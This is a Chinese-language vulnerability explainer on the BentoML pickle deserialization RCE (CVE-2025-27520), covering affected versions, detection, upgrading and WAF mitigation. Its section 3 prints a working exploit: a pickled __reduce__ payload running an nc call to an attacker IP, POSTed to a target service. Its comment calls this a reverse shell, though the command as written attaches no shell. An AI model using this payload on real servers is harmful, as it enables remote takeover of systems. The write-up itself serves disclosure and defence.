BentoML是一个流行的Python开源库,专门用于快速部署和管理机器学习模型的在线服务。近期发现了一个极其严重的安全漏洞------远程代码执行(RCE),编号为CVE-2025-27520,漏洞评分高达9.8(CVSSv3),意味着攻击者可以远程执行任意代码,完全控制服务器,风险极大。
1. 漏洞基础知识点
什么是远程代码执行(RCE)?
远程代码执行指攻击者通过网络向目标系统发送恶意数据,使系统执行攻击者指定的代码,导致系统被控制、数据泄露或破坏。
什么是反序列化漏洞?
反序列化是将数据从存储或传输格式(如二进制)转换回程序对象的过程。如果反序列化过程不安全,攻击者可以构造恶意数据,利用程序自动执行恶意代码。
BentoML中的漏洞原理
BentoML在处理机器学习模型请求时,会反序列化(deserialize)客户端发送的"payload"(数据包)。漏洞出现在serde.py
文件中的deserialize_value
函数:
python
def deserialize_value(self, payload: Payload) -> t.Any:
if "buffer-lengths" not in payload.metadata:
return pickle.loads(b"".join(payload.data))
这里使用了Python的pickle
模块反序列化数据,但没有对输入数据做任何安全检查,导致攻击者可以发送恶意构造的pickle数据,执行任意Python代码。
2. 漏洞影响范围
- 受影响版本:BentoML 1.3.8 到 1.4.2(官方最初报告为1.3.4起,但实际分析确认是从1.3.8开始)
- 修复版本:1.4.3及以后版本
- 影响用户:所有使用BentoML接收和处理外部机器学习请求的用户,尤其是直接或间接处理序列化数据的场景。
3. 漏洞利用示例(Python代码)
攻击者可以构造一个恶意的Python对象,利用__reduce__
方法执行系统命令。示例代码如下:
python
import pickle
import os
import requests
# HTTP请求头,指定内容类型为BentoML的pickle格式
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}
# 恶意类,利用__reduce__执行系统命令
class Evil:
def __reduce__(self):
# 这里以启动一个反向shell为例,连接攻击者主机
return (os.system, ('nc 192.168.1.100 1234',))
# 序列化恶意对象
payload = pickle.dumps(Evil())
# 发送恶意请求到目标BentoML服务
requests.post("http://目标服务器IP:端口/接口路径", data=payload, headers=headers)
说明:
nc
是netcat工具,用于建立网络连接,攻击者监听1234端口,服务器连接后即被控制。- 真实攻击中,IP和端口需替换为攻击者控制的地址。
- 该请求会被BentoML反序列化,执行
os.system
命令,导致远程代码执行。
4. 漏洞产生的原因与历史
- 该漏洞是之前CVE-2024-2912的"复现",原漏洞在1.2.5版本修复。
- 但修复代码在1.3.8版本被意外移除,导致漏洞重新出现。
- 1.4.3版本重新修复了该问题,禁止了不安全的pickle反序列化。
5. 如何检测是否受影响
- 查看BentoML版本:
bash
pip show bentoml
- 检查版本号是否在1.3.8至1.4.2之间。
- 也可以在Python环境中查找
bentoml-版本号.dist-info
目录。 - 生成软件物料清单(SBOM)检查依赖链中是否包含受影响版本。
6. 如何修复和防护
最简单有效的办法:升级BentoML
bash
pip install -U bentoml==1.4.3
升级到1.4.3或更高版本,官方已修复该漏洞。
临时缓解措施
- 配置Web应用防火墙(WAF),阻止Content-Type为
application/vnd.bentoml+pickle
的HTTP请求。 - 对输入数据进行严格验证,避免反序列化不可信数据。
- 监控异常网络连接和系统行为,及时发现攻击迹象。
7. 代码示例:安全升级后的反序列化示范
升级后,BentoML会拒绝不安全的pickle请求,示例伪代码:
python
def deserialize_value(self, payload: Payload) -> t.Any:
if payload.metadata.get("content-type") == "application/vnd.bentoml+pickle":
raise ValueError("Pickle deserialization is disabled for security reasons.")
# 其他安全的反序列化逻辑
8. 总结
关键点 | 说明 |
---|---|
漏洞类型 | 远程代码执行(RCE) |
漏洞原因 | 不安全的pickle反序列化 |
受影响版本 | BentoML 1.3.8 ~ 1.4.2 |
修复版本 | BentoML 1.4.3及以上 |
危害 | 服务器被远程控制,数据泄露,服务中断等 |
推荐措施 | 立即升级BentoML,配置WAF,监控异常行为 |